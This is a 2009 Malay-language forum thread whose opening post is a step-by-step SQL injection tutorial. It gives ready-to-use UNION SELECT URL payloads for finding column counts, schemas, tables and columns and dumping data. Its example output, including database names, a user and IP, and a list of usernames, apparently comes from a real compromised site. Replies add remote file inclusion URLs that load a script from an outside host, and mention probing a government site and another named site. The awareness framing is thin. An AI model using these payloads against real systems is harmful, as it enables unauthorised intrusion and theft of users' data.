Forum Sementara Putera.com

Bersama kita perkemaskan forum ini sementara forum asal dalam pemulihan.

Forum putera dah kembali. Masalah sudah berjaya diselesaikan. Sila lawati http://forum.putera.com/tanya


    SQL Injection [tutorial]

    Share

    xenomorf
    Ahli Baharu
    Ahli Baharu

    Number of posts : 239
    Location : BehinD ThE WaLL
    Registration date : 26/03/2009

    SQL Injection [tutorial]

    Post by xenomorf on Wed Jun 17, 2009 2:03 pm

    Sy buka topik ni coz kebanyaan webmaster di negara kita termasuk beberapa site dgn xtension GOV berpotensi untuk digodam oleh script-kiddie. klu H A C K e R yg advanced dn Twisted Evil mgkin da lama data2 yg enting tu da hilang. So, klu anda sorang webmaster, anda sepatutnya tahu mengenai SQLi ni.

    PeNGENALAN
    SQL adalah singkatan kepada Structured Query Language. SQL digunakan untuk berkomunikasi dengan database dlm sesuatu sistem (applikasi web). Beberapa database yang biasa digunakan adalah Oracle, MySQL, Sybase, Access, Ingres, dn byk lagi.
    beberapa arahan yg standard untuk SQL ni seperti Select, Insert, Drop, Delete, Update, dan juga Create.

    PeNGeNALAN KePADA SQLi (SQL INJeCTION)
    SQLi adalah satu teknik dimana penggodam menggunakan kelemahan sistem itu sendiri dgn memasukkan arahan ke dalam Form Input ataupun dlm URL itu sendiri.
    Kebanyakan SQLi dilakukan dlm URL sbb ia memberikan 'error yg spesel'.

    APA YANG MeReKA BOLeH BuAT DeNGAN SQLi?
    Data yg penting seperti password admin, password user, username, username admin, username superadmin, email, dn mcm2 lg.

    setelah suma data ni abis dihisap oleh penggodam, kebanyakannya akan meletakkan backdoor pada sistem anda dgn menggunakan arahan Create, dan Insert.

    Lebih sadis jika penggodam itu menghapuskan semua data dlm sistem anda dgn arahan Delete atau Drop.

    CARA MeNGeTAHUI WeBSITe BOLEH DISeRANG DGN SQLi
    contoh:
    1. katakan anda menjumpai satu site dgn alamat seperti ni>

    http://www.contoh.com/index.php?id=89

    2. untuk mengetahui jika site itu boled diserang dgn cara SQLi adalah sgt mudah. anda hanya perlu meletakkan ' di hujung url tersebut.

    http://www.contoh.com/index.php?id=89'

    3. jika anda mendapat pparan error seperti ni>

    Spoiler:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''tr'' AND nitDisplayFrom <=NOW() AND nitRemovalDate >NOW() AND nitDi' at line 5

    Spoiler:

    We're sorry, the page you are looking for may have moved during the redesign of our site or no longer exists. Please return to the home page or use the search option for further information. You can contact us if you feel you have reached this page in error:

    Spoiler:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 3

    atau anda mendapat halaman yg tidak lengkap seperti halaman yg kosong shj.

    4. VOiLLa!! site tersebut boleh diserang dgn SQLi.

    MeNGeTAHUI BILANGAN COLUMN
    1. seblum anda dpt bergerak ke aktiviti seterusnya, anda harus tahu berapa byk bilangan column website tersebut.

    2. masukkan arahan seperti ini:


    http://www.contoh.com/index.php?id=89+ORDER+BY+1--

    atau

    http://www.contoh.com/index.php?id=89+ORDER+BY+1/*

    atau

    http://www.contoh.com/index.php?id=89+ORDER+BY+1#

    3. seterusnya, tambahkan nilai 1 tersebut sehingga anda mendapat error seperti ini:

    Spoiler:
    Unknown column '13' in 'order clause'

    4. ini bermaksud, nilai column dlm website ni kurang dari 13
    5. jika anda mendapat error ni, kurang nombor tersebur sehingga anda mendapat halaman yg normal.
    6. contoh:

    anda meletakkan nombor 13 pada url

    http://www.contoh.com/index.php?id=89+ORDER+BY+13--

    anda mendapat error

    Spoiler:
    Unknown column '13' in 'order clause'

    seterusnya anda meletakkan nombor 12 dlm URL

    http://www.contoh.com/index.php?id=89+ORDER+BY+12--

    anda mendapat halaman normal i.e: website to x kuarkan apa2 error

    Bilangan column yg ada pada website ni adalah 12


    COLUMN YANG BOLeH DISeRANG
    column yang boleh diserang dgn SQLi boleh diketahui dgn arahan

    AND 1=0 UNION SELECT ALL

    AND 1=0 bermaksud, database tu akan sentiasa mentafsirkan arahan anda sebagai error

    1. menentukan column yang bolh di serang dgn memasukkan arahan di atas pada URL

    http://www.contoh.com/index.php?id=89+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,6,7,8,9,10,11,12--

    atau

    http://www.contoh.com/index.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--

    arahan ini akan menunjukkan nombor column yang boleh diserang pada website tersebut.

    contoh: sebaik sahaja anda meletakkan arahan tersebut, ada nombor yang keluar pada website tersebut.



    dari sini, kita dpt kenal pasti bahawa column yang boleh diserang adalah column 1,2,3, dan 4


    MeNGeTAHUI VeRSI DATABASe
    sekarang kita boleh mengetahui versi database tersebut dgn memasukkan arahan pada column yang boleh diserang td.

    arahan:
    @@version
    version()
    concat_ws(0x3a,version(),user(),database()) <-- advanced

    kita akan memasukkan salah sati arahan di atas pda column yg vuln td. (contoh: sy gnkn column nombor 2)

    http://www.contoh.com/index.php?id=89+AND+1=0+UNION+SELECT+ALL+1,@@version,3,4,5,6,7,8,9,10,11,12--


    http://www.contoh.com/index.php?id=89+AND+1=0+UNION+SELECT+ALL+1,version(),3,4,5,6,7,8,9,10,11,12--



    http://www.contoh.com/index.php?id=89+AND+1=0+UNION+SELECT+ALL+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12--



    dari sini, kita dpt tahu:

    Versi: 5.0.81
    User: yaumh@202.190.197.138
    Database: penang

    SQL 4 vs SQL 5
    tutorial ini hanya melibat website yang mengunakan SQL versi 5. dlm SQL 4, database dinamakan sendiri oleh webmaster. nama2 ini juga tidak dikumpulkan dlm stu pusat seperti SQL 5 yang menggunakan konsep information_schema.

    Untuk melihat semua database dlm SQL 5, kita gnkan arahan

    group_concat(schema_name) ... from information_schema.schemata

    contoh:

    http://www.contoh.com/index.php?id=89+ALL+1=0+UNION+SELECT+ALL+1,group_concat(schema_name),3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.SCHEMATA--


    database yg ada:

    information_schema
    kuching
    msiahelp
    penang


    MeNCARI NAMA TABLe
    selepas kita dpt nama database, seterusnya kita boleh mendapat nama table yg ada dlm database tersebut.

    group_concat(table_name)..+from+information_schema.tables+where+table_schema=database()

    contoh:

    http://www.contoh.com/index.php?id=89+ALL+1=0+UNION+SELECT+ALL+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--


    table yg ada dlm database()
    chanstats
    comments
    monitor
    news
    people
    profiles
    quotes
    userstats
    vote


    MeNDAPATKAN NAMA COLUMN DALAm TABLe

    cara mendapat nama colum dalam suatu table adalah dgn menggunakan arahan

    group_concat(column_name)...+from+information_schema.columns+where+table_name=***nama table**--

    contoh: sy gnakan table> people

    http://www.contoh.com/index.php?id=89+ALL+1=0+UNION+SELECT+ALL+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='people'--

    oppss.. dpt error

    Spoiler:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'people\'--' at line 3

    cara yg betul adalah menukarkan people kepada hexadecimal. (download encoder tool>http://www.megaupload.com/?d=FGFMN7NV)

    jd,

    people menjadi 0x70656F706C65

    seterusnya tkar people dgn hex tersebut dlm URL

    http://www.contoh.com/index.php?id=89+ALL+1=0+UNION+SELECT+ALL+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x70656F706C65--



    Voilla!!

    column yg ada
    id
    nickname
    category
    access


    MiNiNG DATA
    kita tahu nama database, nama table, dan juga nama column. seterunya kita boleh melihat semua data dalam column yg kita kehendaki.

    group_concat(***nama column)...+from+**nama table

    contoh: nama table: people nama column:id nickname category access
    (sy hya akn gn column: nicname dn access)

    http://www.contoh.com/index.php?id=89+ALL+1=0+UNION+SELECT+ALL+1,group_concat(nickname,0x3a,access),3,4,5,6,7,8,9,10,11,12+FROM+people--


    (sy tukar ke column 3 coz t'lalu besar)

    see.. username utk site ni. Nama ko pun ada jg x? haha

    username Access
    Gawd 3
    Kidz 2
    Fully_Alive 2
    Isaac:1,Kelv 1
    cHoChObO 1
    girl^_19 1
    TcK:2,mandytmm 1
    sojai6 1
    Micintosh 1
    HanzZ 1
    bash 2
    Fionna 1
    Resists 1
    Darknet 1
    ^-^ 3
    soon^_^ 1
    Oraculum 1
    dolly^o^liss 1
    esprit 1
    yushi 1
    rlinux 1
    minicompo 1
    V^v|aN 1
    Card|naL 1



    dgn cara cmni je, satu website tu boleh dihancurkan. So, hati2 bila membangunkan website. Sentiasa backup data dan gn ENCRYPTION terutama utk password dan username.

    cast
    Ahli Baharu
    Ahli Baharu

    Gender : Female Number of posts : 99
    Age : 58
    Location : Prince of Wales Island
    Registration date : 12/02/2009

    Re: SQL Injection [tutorial]

    Post by cast on Wed Jun 17, 2009 4:16 pm

    terima kasih banyak-banyak!

    Smile

    hampeh
    Ahli
    Ahli

    Number of posts : 866
    Registration date : 28/02/2009

    Re: SQL Injection [tutorial]

    Post by hampeh on Wed Jun 17, 2009 7:30 pm

    wah bagus2 , aku sekadar tau apa tu sql injection je cuma contoh yang senang difahami kurang sebelum ni . Harap2 tutorial ni tak hilang tetiba

    dans kam
    Ahli Baharu
    Ahli Baharu

    Gender : Male Number of posts : 172
    Age : 35
    Location : Wangsa Maju
    Job/hobbies : PHP
    Registration date : 19/02/2009

    Re: SQL Injection [tutorial]

    Post by dans kam on Thu Jun 18, 2009 2:56 am

    hm... terima kasih byk2 bro for da info.. Very Happy
    bahaya tul la..
    skrg ni aku tgh blaja n praktis guna framework(CodeIgniter)..
    Agak2 leh x kene SQL Injection? sbb dia guna konsep MVC(Model View Controller),
    pastu xde pas guna url mcm biasa,
    cthnya kalo biasa buat mcm ni, http://www.example.com/index.php?page=news&id=17&tri=8&web=sub
    guna CI, url kita leh buat mcm ni, http://www.example.com/index.php/news/17/8/sub

    rasanya lebih selamat kot. Hehehe.. Entah la..

    xenomorf
    Ahli Baharu
    Ahli Baharu

    Number of posts : 239
    Location : BehinD ThE WaLL
    Registration date : 26/03/2009

    Re: SQL Injection [tutorial]

    Post by xenomorf on Thu Jun 18, 2009 11:18 am

    dans kam wrote:hm... terima kasih byk2 bro for da info.. Very Happy
    bahaya tul la..
    skrg ni aku tgh blaja n praktis guna framework(CodeIgniter)..
    Agak2 leh x kene SQL Injection? sbb dia guna konsep MVC(Model View Controller),
    pastu xde pas guna url mcm biasa,
    cthnya kalo biasa buat mcm ni, http://www.example.com/index.php?page=news&id=17&tri=8&web=sub
    guna CI, url kita leh buat mcm ni, http://www.example.com/index.php/news/17/8/sub

    rasanya lebih selamat kot. Hehehe.. Entah la..

    klu cmni mmg selamat sikit dari kena serangan SQLi. tp, ko masih gn PHP. klu coding ko BURUK dn gn kaedah POST atau GET utk paparkan data, ko blh kena RFi a.k.a Remote File inclusion.

    satu lg, klu ko gn server Apache yg x kena patch, penyerang blh gn serangan dari server (server-side attack) dgn mggnkan bug dari server tu sndri. gn kaedah rewritable.

    cth:

    http://www.example.com/index.php/news/17/8/sub
    URL asal

    http://www.example.com/index.php?=http://www.RFIskrip.com?
    URL baru.

    atau

    http://www.example.com/index.php?=http://www.RFIskript.com?%00
    gn nullbyte.

    klu coding ko lemah tmbhn lg server ko x selamat, website ko da kena serang dgn RFI.

    pastikan server ko tu selamat dn kena patch dgn sekuriti terbaru.

    dans kam
    Ahli Baharu
    Ahli Baharu

    Gender : Male Number of posts : 172
    Age : 35
    Location : Wangsa Maju
    Job/hobbies : PHP
    Registration date : 19/02/2009

    Re: SQL Injection [tutorial]

    Post by dans kam on Thu Jun 18, 2009 3:46 pm

    Hm..
    TQ xenomorf sbb sentuh jugak pasal server. kalo x aku langsung x terfikir. hehehe...

    tapi aku still rasa guna CI ni lebih selamat sebab..
    sebab, aku test url yang mcm ko bg tu,
    http://www.example.com/index.php/?=http://www.RFIskript.com?%00
    , kuar 'The URI you submitted has disallowed characters.'. (aku xtau cara betul utk inject ikut url ni.. sori)
    Mungkin jugak sebab secara defaultnya CI dah disable fungsi GET

    satu lagi, struktur url CI-based website bukan mcm struktur website biasa,
    http://www.example.com/index.php/syarikat/ejen/17
    =>
    http://www.example.com/index.php/
    --> base url (index.php/ tu bleh hilangkan guna .htaccess)
    syarikat/
    --> nama class
    ejen/
    --> nama method/function
    17
    --> data yang kita hantar

    tq xenomorf sebab sharing..
    aku bertanya untuk tambah pengetahuan. maaf la kalo contoh URL aku kat post sblm ni kurang sesuai untuk bgtau struktur url CI.


    Sharing is good!... Smile

    masokis
    Ahli Baharu
    Ahli Baharu

    Number of posts : 47
    Registration date : 12/05/2009

    Re: SQL Injection [tutorial]

    Post by masokis on Fri Jun 19, 2009 7:23 pm

    Mengkagumkan.
    tapi klu web PHPnuke yang ada sentinel protection mcmna? macam http://mydungun.com.my/v2 ni?

    xenomorf
    Ahli Baharu
    Ahli Baharu

    Number of posts : 239
    Location : BehinD ThE WaLL
    Registration date : 26/03/2009

    Re: SQL Injection [tutorial]

    Post by xenomorf on Sat Jun 20, 2009 12:17 pm

    dans kam wrote:Hm..
    TQ xenomorf sbb sentuh jugak pasal server. kalo x aku langsung x terfikir. hehehe...

    tapi aku still rasa guna CI ni lebih selamat sebab..
    sebab, aku test url yang mcm ko bg tu,
    http://www.example.com/index.php/?=http://www.RFIskript.com?%00
    , kuar 'The URI you submitted has disallowed characters.'. (aku xtau cara betul utk inject ikut url ni.. sori)
    Mungkin jugak sebab secara defaultnya CI dah disable fungsi GET

    satu lagi, struktur url CI-based website bukan mcm struktur website biasa,
    http://www.example.com/index.php/syarikat/ejen/17
    =>
    http://www.example.com/index.php/
    --> base url (index.php/ tu bleh hilangkan guna .htaccess)
    syarikat/
    --> nama class
    ejen/
    --> nama method/function
    17
    --> data yang kita hantar

    tq xenomorf sebab sharing..
    aku bertanya untuk tambah pengetahuan. maaf la kalo contoh URL aku kat post sblm ni kurang sesuai untuk bgtau struktur url CI.


    Sharing is good!... Smile

    thx!

    gn .htaccess jg slh satu lgkah keselamatan yg baik. tp biasanya, (browser yg masih blum update) klu ko hilangkn index.php/ tu dgn .htaccess user tu x akn dpt error pasal permission. tp klu browser yg baru, masalah ni x timbul da.

    sentiasa periksa keadaan PHP ko dgn cara melihat pada phpinfo()

    bt satu page php dgn kod ni dn tengok klu ada module yg ko x mau, ko disable dlm config php ko.


    Code:

    <?php
      phpinfo();
    ?>

    ko save dgn ext php. pastu ko access la dn tgok setting phpinfo() ko.

    masokis wrote:Mengkagumkan.
    tapi klu web PHPnuke yang ada sentinel protection mcmna? macam http://mydungun.com.my/v2 ni?

    haha.. ok. klu ko baca intro sy kat atas tu, GOV yg sy mksudkn tu gn PHPNuke jg. dan x kena PATCH. haha.. ko kena sentiasa cari update utk PHPNuke ni sbb byk lubang2 yg x diingini.

    tp tgok page ni bila sy try bt RFI.



    P/S: jgn cuba nk trace IP tu coz ko akn kecewa. Evil or Very Mad

    Hansz
    Ahli Baharu
    Ahli Baharu

    Gender : Male Number of posts : 184
    Age : 29
    Location : Kuala Kangsar, Perak
    Job/hobbies : PHP, Design, Developing, Composing, Computer
    Registration date : 01/06/2009

    Re: SQL Injection [tutorial]

    Post by Hansz on Sat Jun 20, 2009 7:21 pm

    masokis wrote:Mengkagumkan.
    tapi klu web PHPnuke yang ada sentinel protection mcmna? macam http://mydungun.com.my/v2 ni?

    Tak kira dia pakai sentinel macam mana pun, ada jugak cara nak tembus...
    Ikut kreativiti hackerz tu sendiri Razz

    Sponsored content

    Re: SQL Injection [tutorial]

    Post by Sponsored content Today at 2:02 pm


      Current date/time is Sun Dec 11, 2016 2:02 pm